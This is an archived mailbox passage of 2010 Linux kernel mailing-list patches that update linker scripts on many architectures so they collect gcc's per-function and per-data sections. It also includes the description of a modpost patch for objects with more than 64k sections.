@@ -114,7 +114,6 @@ SECTIONS
 
   .sbss		: { *(.sbss .sbss.*) }
   .bss		: { *(.bss .bss.*) }
-  .bss..stack	: { *(.bss) }
 
   __bss_stop = .;
   _end = . ;
diff --git a/arch/ia64/scripts/check-segrel.lds b/arch/ia64/scripts/check-segrel.lds
index 85a0d54..1e23df4 100644
--- a/arch/ia64/scripts/check-segrel.lds
+++ b/arch/ia64/scripts/check-segrel.lds
@@ -1,9 +1,9 @@
 SECTIONS {
 	. = SIZEOF_HEADERS;
-	.rodata : { *(.rodata) } :ro
+	.rodata : { *(.rodata) *(.rodata.*) } :ro
 	.note : { *(.note*) }
 	. = 0xa0000;
-	.data : { *(.data) } :dat
+	.data : { *(.data) *(.data.*) } :dat
 	/DISCARD/ : { *(*) }
 }
 PHDRS {
diff --git a/arch/m68knommu/kernel/vmlinux.lds.S b/arch/m68knommu/kernel/vmlinux.lds.S
index a91b271..c095a5b 100644
--- a/arch/m68knommu/kernel/vmlinux.lds.S
+++ b/arch/m68knommu/kernel/vmlinux.lds.S
@@ -169,6 +169,7 @@ SECTIONS {
 		. = ALIGN(4);
 		_sbss = . ;
 		*(.bss)
+		*(.bss.*)
 		*(COMMON)
 		. = ALIGN(4) ;
 		_ebss = . ;
diff --git a/arch/mips/lasat/image/romscript.normal b/arch/mips/lasat/image/romscript.normal
index 0864c96..408e5ad 100644
--- a/arch/mips/lasat/image/romscript.normal
+++ b/arch/mips/lasat/image/romscript.normal
@@ -12,6 +12,7 @@ SECTIONS
   .data ALIGN(0x10) :
   {
     *(.data)
+    *(.data.*)
   }
   _image_start = ADDR(.data);
   _image_size = SIZEOF(.data);
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index d64a6bb..56d472c 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -112,6 +112,7 @@ SECTIONS
 	}
 	.bss : {
 		*(.bss)
+		*(.bss.*)
 		*(COMMON)
 	}
 	__bss_stop = .;
diff --git a/arch/sh/kernel/vsyscall/vsyscall.lds.S b/arch/sh/kernel/vsyscall/vsyscall.lds.S
index 6d59ee7..19ee0cb 100644
--- a/arch/sh/kernel/vsyscall/vsyscall.lds.S
+++ b/arch/sh/kernel/vsyscall/vsyscall.lds.S
@@ -35,7 +35,7 @@ SECTIONS
 	 */
 	. = 0x400;
 
-	.text		: { *(.text) } 			:text	=0x90909090
+	.text		: { *(.text) *(.text.*) }	:text	=0x90909090
 	.note		: { *(.note.*) }		:text	:note
 	.eh_frame_hdr	: { *(.eh_frame_hdr ) }		:text	:eh_frame_hdr
 	.eh_frame	: {
diff --git a/arch/x86/kernel/acpi/realmode/wakeup.lds.S b/arch/x86/kernel/acpi/realmode/wakeup.lds.S
index 060fff8..38f18e8 100644
--- a/arch/x86/kernel/acpi/realmode/wakeup.lds.S
+++ b/arch/x86/kernel/acpi/realmode/wakeup.lds.S
@@ -42,6 +42,7 @@ SECTIONS
 	.bss :	{
 		__bss_start = .;
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 
diff --git a/arch/x86/kernel/vmlinux.lds.S b/arch/x86/kernel/vmlinux.lds.S
index d0bb522..eb5b2a6 100644
--- a/arch/x86/kernel/vmlinux.lds.S
+++ b/arch/x86/kernel/vmlinux.lds.S
@@ -307,6 +307,7 @@ SECTIONS
 		__bss_start = .;
 		*(.bss..page_aligned)
 		*(.bss)
+		*(.bss.*)
 		. = ALIGN(4);
 		__bss_stop = .;
 	}
diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 030a954..079895a 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -146,9 +146,22 @@
 #define TRACE_SYSCALLS()
 #endif
 
+/* .data.foo are generated by gcc itself with -fdata-sections,
+ * whereas double-dot sections (like .data..percpu) are generated
+ * by kernel's magic macros.
+ *
+ * arch/.../vmlinux.lds.S decides where to place various double-dot sections
+ * as needed by its arch, here DATA_DATA needs to be careful and collect
+ * only .data and .data.foo sections, skipping .data..foo
+ *
+ * Same goes for .text, .bss and .rodata. In case of .rodata, various
+ * .rodata.foo sections are generated by gcc even without -fdata-sections
+ */
+
 /* .data section */
 #define DATA_DATA							\
 	*(.data)							\
+	*(.data.[A-Za-z0-9_$^]*)					\
 	*(.ref.data)							\
 	DEV_KEEP(init.data)						\
 	DEV_KEEP(exit.data)						\
@@ -212,7 +225,8 @@
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start_rodata) = .;			\
-		*(.rodata) *(.rodata.*)					\
+		*(.rodata)						\
+		*(.rodata.[A-Za-z0-9_$^]*)				\
 		*(__vermagic)		/* Kernel version magic */	\
 		*(__markers_strings)	/* Markers: strings */		\
 		*(__tracepoints_strings)/* Tracepoints: strings */	\
@@ -379,6 +393,7 @@
 		ALIGN_FUNCTION();					\
 		*(.text.hot)						\
 		*(.text)						\
+		*(.text.[A-Za-z0-9_$^]*)				\
 		*(.ref.text)						\
 	DEV_KEEP(init.text)						\
 	DEV_KEEP(exit.text)						\
@@ -512,6 +527,7 @@
 		*(.bss..page_aligned)					\
 		*(.dynbss)						\
 		*(.bss)							\
+		*(.bss.[A-Za-z0-9_$^]*)					\
 		*(COMMON)						\
 	}
 
-- 
1.6.2.4

--
To unsubscribe from this list: send the line "unsubscribe linux-kbuild" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 4/4] boot linker stripts: accomodate function and data sections
Date: Thu, 29 Jul 2010 01:47:56 +0200
Lines: 455
Approved: news@gmane.org
Message-ID: <1280360876-2571-5-git-send-email-vda.linux@googlemail.com>
References: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1280360923 21769 80.91.229.12 (28 Jul 2010 23:48:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 28 Jul 2010 23:48:43 +0000 (UTC)
Cc: lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Denys Vlasenko <vda.linux@googlemail.com>
To: Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kbuild-owner@vger.kernel.org Thu Jul 29 01:48:38 2010
Return-path: <linux-kbuild-owner@vger.kernel.org>
Envelope-to: glkd-linux-kbuild@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kbuild-owner@vger.kernel.org>)
	id 1OeGMY-0006rb-4j
	for glkd-linux-kbuild@lo.gmane.org; Thu, 29 Jul 2010 01:48:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756704Ab0G1Xs1 (ORCPT <rfc822;glkd-linux-kbuild@m.gmane.org>);
	Wed, 28 Jul 2010 19:48:27 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:33096 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755935Ab0G1XsV (ORCPT
	<rfc822;linux-kbuild@vger.kernel.org>);
	Wed, 28 Jul 2010 19:48:21 -0400
Original-Received: by mail-fx0-f46.google.com with SMTP id 14so1531444fxm.19
        for <multiple recipients>; Wed, 28 Jul 2010 16:48:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer:in-reply-to:references;
        bh=Oso685/xwRpfEikhpqJ2aMzbaTG6rLpsAuTkGDyhewk=;
        b=iYFtq0nXra8PWuB3dPvRH9vPQPInMJYQmk3tPzGG7h2+du2QM5gEaH0ms8N4SgPtq2
         u+Ti4WIXT18zc5NJXxh/+NQ9+8mc7XcbN1UhEMrzrnhlcRLtnoEksyU9WMaGcdbr/VSn
         vPrKEK6WeJzTcxdK92Uq/JO2NNubZRcCivnEg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        b=crwfNd0fiyxzWs2YBwH3n+tcrbG02l3BIdWUczX3vTZeVpsDqU2aSzzQ59G9hliJ/r
         6VvWVZrsaYO8Mh4KPOhXERoR1DvO0D9dpmrll8NWcJ7PMADm+WfxYa3e01Z7O4hVXgzQ
         Qtd8RV48/Gk8EI+ku6PWO41bzx2pYF7xLScfU=
Original-Received: by 10.223.122.147 with SMTP id l19mr10788973far.83.1280360899907;
        Wed, 28 Jul 2010 16:48:19 -0700 (PDT)
Original-Received: from localhost.localdomain (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id a9sm54590faa.3.2010.07.28.16.48.18
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 28 Jul 2010 16:48:19 -0700 (PDT)
X-Mailer: git-send-email 1.6.2.5
In-Reply-To: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
Original-Sender: linux-kbuild-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kbuild.vger.kernel.org>
X-Mailing-List: linux-kbuild@vger.kernel.org
Xref: news.gmane.org gmane.linux.kbuild.devel:4993 gmane.linux.kernel.cross-arch:7203 gmane.linux.ports.parisc:3010 gmane.linux.kernel:1015433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3010>

gcc -ffunction-sections -fdata-sections places each function foo
into separate section .text.foo, and every data object bar into
separate section .data.bar, .rodata.bar or .bss.bar.

Boot linker scripts were not ready for this.

This fix adds *(.text.*), *(.data.*) etc patterns
directly after corresponding *(.text), *(.data) etc patterns
in all boot linker scripts.

This may be unnecessary, but I want to be
function and data section-clean in all linker scripts,
including boot ones.

Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>
Acked-by: Sam Ravnborg <sam@ravnborg.org>
---
 arch/alpha/boot/bootloader.lds               |    6 +++---
 arch/arm/boot/bootp/bootp.lds                |    1 +
 arch/cris/boot/compressed/decompress_v10.lds |    3 +++
 arch/cris/boot/compressed/decompress_v32.lds |    3 +++
 arch/cris/boot/rescue/rescue_v10.lds         |    2 ++
 arch/cris/boot/rescue/rescue_v32.lds         |    3 +++
 arch/h8300/boot/compressed/vmlinux.lds       |    2 ++
 arch/h8300/boot/compressed/vmlinux.scr       |    1 +
 arch/ia64/hp/sim/boot/bootloader.lds         |    6 +++---
 arch/m32r/boot/compressed/vmlinux.lds.S      |    6 +++---
 arch/m32r/boot/compressed/vmlinux.scr        |    1 +
 arch/mn10300/boot/compressed/vmlinux.lds     |    1 +
 arch/powerpc/boot/zImage.coff.lds.S          |    2 ++
 arch/powerpc/boot/zImage.lds.S               |    2 ++
 arch/powerpc/boot/zImage.ps3.lds.S           |    2 ++
 arch/sh/boot/compressed/vmlinux.scr          |    1 +
 arch/x86/boot/setup.ld                       |    3 ++-
 arch/xtensa/boot/boot-elf/boot.lds.S         |    5 ++++-
 arch/xtensa/boot/boot-redboot/boot.ld        |    5 ++++-
 19 files changed, 43 insertions(+), 12 deletions(-)

diff --git a/arch/alpha/boot/bootloader.lds b/arch/alpha/boot/bootloader.lds
index 31c081c..ff5374d 100644
--- a/arch/alpha/boot/bootloader.lds
+++ b/arch/alpha/boot/bootloader.lds
@@ -4,17 +4,17 @@ printk = srm_printk;
 SECTIONS
 {
   . = 0x20000000;
-  .text : { *(.text) }
+  .text : { *(.text) *(.text.*) }
   _etext = .;
   PROVIDE (etext = .);
   .rodata : { *(.rodata) *(.rodata.*) }
-  .data : { *(.data) CONSTRUCTORS }
+  .data : { *(.data) *(.data.*) CONSTRUCTORS }
   .got : { *(.got) }
   .sdata : { *(.sdata) }
   _edata = .;
   PROVIDE (edata = .);
   .sbss : { *(.sbss) *(.scommon) }
-  .bss : { *(.bss) *(COMMON) }
+  .bss : { *(.bss) *(.bss.*) *(COMMON) }
   _end = . ;
   PROVIDE (end = .);
 
diff --git a/arch/arm/boot/bootp/bootp.lds b/arch/arm/boot/bootp/bootp.lds
index fc54394..14be7ff 100644
--- a/arch/arm/boot/bootp/bootp.lds
+++ b/arch/arm/boot/bootp/bootp.lds
@@ -16,6 +16,7 @@ SECTIONS
    _stext = .;
    *(.start)
    *(.text)
+   *(.text.*)
    initrd_size = initrd_end - initrd_start;
    _etext = .;
   }
diff --git a/arch/cris/boot/compressed/decompress_v10.lds b/arch/cris/boot/compressed/decompress_v10.lds
index e80f459..d6022d9 100644
--- a/arch/cris/boot/compressed/decompress_v10.lds
+++ b/arch/cris/boot/compressed/decompress_v10.lds
@@ -13,6 +13,7 @@ SECTIONS
 	{
 		_stext = . ;
 		*(.text)
+		*(.text.*)
 		*(.rodata)
 		*(.rodata.*)
 		_etext = . ;
@@ -20,11 +21,13 @@ SECTIONS
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		_edata = . ;
 	} > dram
 	.bss :
 	{
 		*(.bss)
+		*(.bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > dram
 }
diff --git a/arch/cris/boot/compressed/decompress_v32.lds b/arch/cris/boot/compressed/decompress_v32.lds
index 3c837fe..b5cfeb4 100644
--- a/arch/cris/boot/compressed/decompress_v32.lds
+++ b/arch/cris/boot/compressed/decompress_v32.lds
@@ -13,6 +13,7 @@ SECTIONS
 	{
 		_stext = . ;
 		*(.text)
+		*(.text.*)
 		*(.rodata)
 		*(.rodata.*)
 		_etext = . ;
@@ -20,11 +21,13 @@ SECTIONS
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		_edata = . ;
 	} > dram
 	.bss :
 	{
 		*(.bss)
+		*(.bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > dram
 }
diff --git a/arch/cris/boot/rescue/rescue_v10.lds b/arch/cris/boot/rescue/rescue_v10.lds
index 0b52a94..42b03a3 100644
--- a/arch/cris/boot/rescue/rescue_v10.lds
+++ b/arch/cris/boot/rescue/rescue_v10.lds
@@ -10,11 +10,13 @@ SECTIONS
 	{
 		stext = . ;
 		*(.text)
+		*(.text.*)
 		etext = . ;
 	} > flash
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		edata = . ;
 	} > flash
 }
diff --git a/arch/cris/boot/rescue/rescue_v32.lds b/arch/cris/boot/rescue/rescue_v32.lds
index 8ac646b..440ea40 100644
--- a/arch/cris/boot/rescue/rescue_v32.lds
+++ b/arch/cris/boot/rescue/rescue_v32.lds
@@ -17,6 +17,7 @@ SECTIONS
 	{
 		_stext = . ;
 		*(.text)
+		*(.text.*)
 		*(.init.text)
 		*(.rodata)
 		*(.rodata.*)
@@ -25,12 +26,14 @@ SECTIONS
 	.data :
 	{
 		*(.data)
+		*(.data.*)
 		_edata = . ;
 	} > bootblk
 	.bss :
 	{
 		_bss = . ;
 		*(.bss)
+		*(.bss.*)
 		_end = ALIGN( 0x10 ) ;
 	} > intmem
 
diff --git a/arch/h8300/boot/compressed/vmlinux.lds b/arch/h8300/boot/compressed/vmlinux.lds
index a0a3a0e..6896c9a 100644
--- a/arch/h8300/boot/compressed/vmlinux.lds
+++ b/arch/h8300/boot/compressed/vmlinux.lds
@@ -6,12 +6,14 @@ SECTIONS
 	__text = .;
 	       *(.text..startup)
 	       *(.text)
+	       *(.text.*)
         __etext = . ;
         }
 
 	.rodata :
 	{
 		*(.rodata)
+		*(.rodata.*)
 	}
         .data :
 
diff --git a/arch/h8300/boot/compressed/vmlinux.scr b/arch/h8300/boot/compressed/vmlinux.scr
index a0f6962..f4cfb3f 100644
--- a/arch/h8300/boot/compressed/vmlinux.scr
+++ b/arch/h8300/boot/compressed/vmlinux.scr
@@ -4,6 +4,7 @@ SECTIONS
 	_input_len = .;
 	LONG(_input_data_end - _input_data) _input_data = .;
 	*(.data)
+	*(.data.*)
 	_input_data_end = .;
 	}
 }
diff --git a/arch/ia64/hp/sim/boot/bootloader.lds b/arch/ia64/hp/sim/boot/bootloader.lds
index 3977f25..56bf12c 100644
--- a/arch/ia64/hp/sim/boot/bootloader.lds
+++ b/arch/ia64/hp/sim/boot/bootloader.lds
@@ -7,13 +7,13 @@ SECTIONS
   . = 0x100000;
 
   _text = .;
-  .text : { *(__ivt_section) *(.text) }
+  .text : { *(__ivt_section) *(.text) *(.text.*) }
   _etext = .;
 
   /* Global data */
   _data = .;
   .rodata : { *(.rodata) *(.rodata.*) }
-  .data    : { *(.data) *(.gnu.linkonce.d*) CONSTRUCTORS }
+  .data    : { *(.data) *(.data.*) *(.gnu.linkonce.d*) CONSTRUCTORS }
   __gp = ALIGN (8) + 0x200000;
   .got           : { *(.got.plt) *(.got) }
   /* We want the small data sections together, so single-instruction offsets
@@ -24,7 +24,7 @@ SECTIONS
 
   __bss_start = .;
   .sbss      : { *(.sbss) *(.scommon) }
-  .bss       : { *(.bss) *(COMMON) }
+  .bss       : { *(.bss) *(.bss.*) *(COMMON) }
   . = ALIGN(64 / 8);
   __bss_stop = .;
   _end = . ;
diff --git a/arch/m32r/boot/compressed/vmlinux.lds.S b/arch/m32r/boot/compressed/vmlinux.lds.S
index dd11963..d51580e 100644
--- a/arch/m32r/boot/compressed/vmlinux.lds.S
+++ b/arch/m32r/boot/compressed/vmlinux.lds.S
@@ -6,12 +6,12 @@ SECTIONS
   . = CONFIG_MEMORY_START + 0x00400000;
 
   _text = .;
-  .text : { *(.text) } = 0
+  .text : { *(.text) *(.text.*) } = 0
   .rodata : { *(.rodata) *(.rodata.*) }
   _etext = .;
 
   . = ALIGN(32 / 8);
-  .data : { *(.data) }
+  .data : { *(.data) *(.data.*) }
   . = ALIGN(32 / 8);
   _got = .;
   .got  : { *(.got) _egot = .; *(.got.*) }
@@ -19,7 +19,7 @@ SECTIONS
 
   . = ALIGN(32 / 8);
   __bss_start = .;
-  .bss : { *(.bss) *(.sbss) }
+  .bss : { *(.bss) *(.bss.*) *(.sbss) }
   . = ALIGN(32 / 8);
   _ebss = .;
   . = ALIGN(4096);
diff --git a/arch/m32r/boot/compressed/vmlinux.scr b/arch/m32r/boot/compressed/vmlinux.scr
index 924c799..253eff1 100644
--- a/arch/m32r/boot/compressed/vmlinux.scr
+++ b/arch/m32r/boot/compressed/vmlinux.scr
@@ -3,6 +3,7 @@ SECTIONS
   .data : {
 	zimage_data = .;
 	*(.data)
+	*(.data.*)
 	zimage_data_end = .;
 	}
   zimage_len = zimage_data_end - zimage_data;
diff --git a/arch/mn10300/boot/compressed/vmlinux.lds b/arch/mn10300/boot/compressed/vmlinux.lds
index a084903..3e3e043 100644
--- a/arch/mn10300/boot/compressed/vmlinux.lds
+++ b/arch/mn10300/boot/compressed/vmlinux.lds
@@ -4,6 +4,7 @@ SECTIONS
 	input_len = .;
 	LONG(input_data_end - input_data) input_data = .;
 	*(.data)
+	*(.data.*)
 	input_data_end = .;
 	}
 }
diff --git a/arch/powerpc/boot/zImage.coff.lds.S b/arch/powerpc/boot/zImage.coff.lds.S
index 856dc78..504183a 100644
--- a/arch/powerpc/boot/zImage.coff.lds.S
+++ b/arch/powerpc/boot/zImage.coff.lds.S
@@ -7,6 +7,7 @@ SECTIONS
   .text      :
   {
     *(.text)
+    *(.text.*)
     *(.fixup)
   }
   _etext = .;
@@ -41,6 +42,7 @@ SECTIONS
   {
    *(.sbss)
    *(.bss)
+   *(.bss.*)
   }
   _end = . ;
 
diff --git a/arch/powerpc/boot/zImage.lds.S b/arch/powerpc/boot/zImage.lds.S
index 0962d62..2815506 100644
--- a/arch/powerpc/boot/zImage.lds.S
+++ b/arch/powerpc/boot/zImage.lds.S
@@ -7,6 +7,7 @@ SECTIONS
   .text      :
   {
     *(.text)
+    *(.text.*)
     *(.fixup)
   }
   _etext = .;
@@ -45,6 +46,7 @@ SECTIONS
   {
    *(.sbss)
    *(.bss)
+   *(.bss.*)
   }
   . = ALIGN(4096);
   _end = . ;
diff --git a/arch/powerpc/boot/zImage.ps3.lds.S b/arch/powerpc/boot/zImage.ps3.lds.S
index aaa469c..a29ce62 100644
--- a/arch/powerpc/boot/zImage.ps3.lds.S
+++ b/arch/powerpc/boot/zImage.ps3.lds.S
@@ -21,6 +21,7 @@ SECTIONS
   .text      :
   {
     *(.text)
+    *(.text.*)
     *(.fixup)
   }
   _etext = .;
@@ -44,6 +45,7 @@ SECTIONS
   {
    *(.sbss)
    *(.bss)
+   *(.bss.*)
   }
   . = ALIGN(4096);
   _end = . ;
diff --git a/arch/sh/boot/compressed/vmlinux.scr b/arch/sh/boot/compressed/vmlinux.scr
index 862d748..e7d733f 100644
--- a/arch/sh/boot/compressed/vmlinux.scr
+++ b/arch/sh/boot/compressed/vmlinux.scr
@@ -4,6 +4,7 @@ SECTIONS
 	input_len = .;
 	LONG(input_data_end - input_data) input_data = .;
 	*(.data)
+	*(.data.*)
 	output_len = . - 4;
 	input_data_end = .;
 	}
diff --git a/arch/x86/boot/setup.ld b/arch/x86/boot/setup.ld
index 03c0683..a4af992 100644
--- a/arch/x86/boot/setup.ld
+++ b/arch/x86/boot/setup.ld
@@ -20,7 +20,7 @@ SECTIONS
 	.initdata	: { *(.initdata) }
 	__end_init = .;
 
-	.text		: { *(.text) }
+	.text		: { *(.text) *(.text.*) }
 	.text32		: { *(.text32) }
 
 	. = ALIGN(16);
@@ -46,6 +46,7 @@ SECTIONS
 	{
 		__bss_start = .;
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 	. = ALIGN(16);
diff --git a/arch/xtensa/boot/boot-elf/boot.lds.S b/arch/xtensa/boot/boot-elf/boot.lds.S
index 4e53b74..368d766 100644
--- a/arch/xtensa/boot/boot-elf/boot.lds.S
+++ b/arch/xtensa/boot/boot-elf/boot.lds.S
@@ -10,19 +10,21 @@ SECTIONS
 	{
 		__reloc_start = . ;
 		_text_start = . ;
-		*(.literal .text.literal .text)
+		*(.literal .text.literal .text .text.*)
 		_text_end = . ;
 	}
 
 	.rodata ALIGN(0x04):
 	{
 		*(.rodata)
+		*(.rodata.*)
 		*(.rodata1)
 	}
 
 	.data ALIGN(0x04):
 	{
 		*(.data)
+		*(.data.*)
 		*(.data1)
 		*(.sdata)
 		*(.sdata2)
@@ -58,6 +60,7 @@ SECTIONS
 		*(.scommon)
 		*(.dynbss)
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 	_end = .;
diff --git a/arch/xtensa/boot/boot-redboot/boot.ld b/arch/xtensa/boot/boot-redboot/boot.ld
index 774db20..8747b68 100644
--- a/arch/xtensa/boot/boot-redboot/boot.ld
+++ b/arch/xtensa/boot/boot-redboot/boot.ld
@@ -8,19 +8,21 @@ SECTIONS
 	{
 		__reloc_start = . ;
 		_text_start = . ;
-		*(.literal .text.literal .text)
+		*(.literal .text.literal .text .text.*)
 		_text_end = . ;
 	}
 
 	.rodata ALIGN(0x04):
 	{
 		*(.rodata)
+		*(.rodata.*)
 		*(.rodata1)
 	}
 
 	.data ALIGN(0x04):
 	{
 		*(.data)
+		*(.data.*)
 		*(.data1)
 		*(.sdata)
 		*(.sdata2)
@@ -56,6 +58,7 @@ SECTIONS
 		*(.scommon)
 		*(.dynbss)
 		*(.bss)
+		*(.bss.*)
 		__bss_end = .;
 	}
 	_end = .;
-- 
1.6.2.4

--
To unsubscribe from this list: send the line "unsubscribe linux-kbuild" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/4] modpost: support objects with more than 64k sections
Date: Thu, 29 Jul 2010 01:47:53 +0200
Lines: 324
Approved: news@gmane.org
Message-ID: <1280360876-2571-2-git-send-email-vda.linux@googlemail.com>
References: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1280360957 21854 80.91.229.12 (28 Jul 2010 23:49:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 28 Jul 2010 23:49:17 +0000 (UTC)
Cc: lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Rusty Russell <rusty@rustcorp.com.au>
To: Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jul 29 01:49:13 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OeGN6-0006zx-MW
	for glka-linux-arch@lo.gmane.org; Thu, 29 Jul 2010 01:49:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752508Ab0G1XtH (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 28 Jul 2010 19:49:07 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:43782 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752321Ab0G1XsR (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 28 Jul 2010 19:48:17 -0400
Original-Received: by fxm14 with SMTP id 14so1531455fxm.19
        for <multiple recipients>; Wed, 28 Jul 2010 16:48:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer:in-reply-to:references;
        bh=UCHDNDPYmncx71LlB0JyjDxlx+LPhYP1q+H+Bi5OGIM=;
        b=kIQAgOndCUh8NpOtPWTYpBTVDYk/J4czUiNBOOjuoG/MOMV/Me+0GHOt4kLHTAwcSj
         mLsrJKEXjOhaL7NR2H5jID+J988YaqbUR93v2Lezz1eP6f9IW5Fm2p7rWnZ6uesSQqWp
         n5wx0PpV4d1GCP6Ahamb9/CdO+6Az8UsfWpWE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        b=gRZPklItbHm5IQycaMtjjTt3/TlH0CdjyUatyZomDdiMrf7HoxUzl8CJSK8zXaMKyS
         yFVE9yVgeGW1G4RjzPg8C0lfomoR9hphIFv89WNu+F2t5JCs44bhOBEQxq86zZt71FMK
         RGO3XoMJgUfeJFjSg57OAbSo9YmlDBTZIfC+Q=
Original-Received: by 10.223.125.196 with SMTP id z4mr10771697far.80.1280360895186;
        Wed, 28 Jul 2010 16:48:15 -0700 (PDT)
Original-Received: from localhost.localdomain (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id a9sm54590faa.3.2010.07.28.16.48.12
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 28 Jul 2010 16:48:13 -0700 (PDT)
X-Mailer: git-send-email 1.6.2.5
In-Reply-To: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7204 gmane.linux.kbuild.devel:4994 gmane.linux.ports.parisc:3011 gmane.linux.kernel:1015435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3011>

This patch makes modpost able to process object files with more than
64k sections. Needed for huge kernel builds (allyesconfig, for example)
with -ffunction-sections.

Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>
Signed-off-by: Anders Kaseorg <andersk@mit.edu>
Acked-by: Sam Ravnborg <sam@ravnborg.org>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Andi Kleen <andi@firstfloor.org>
---
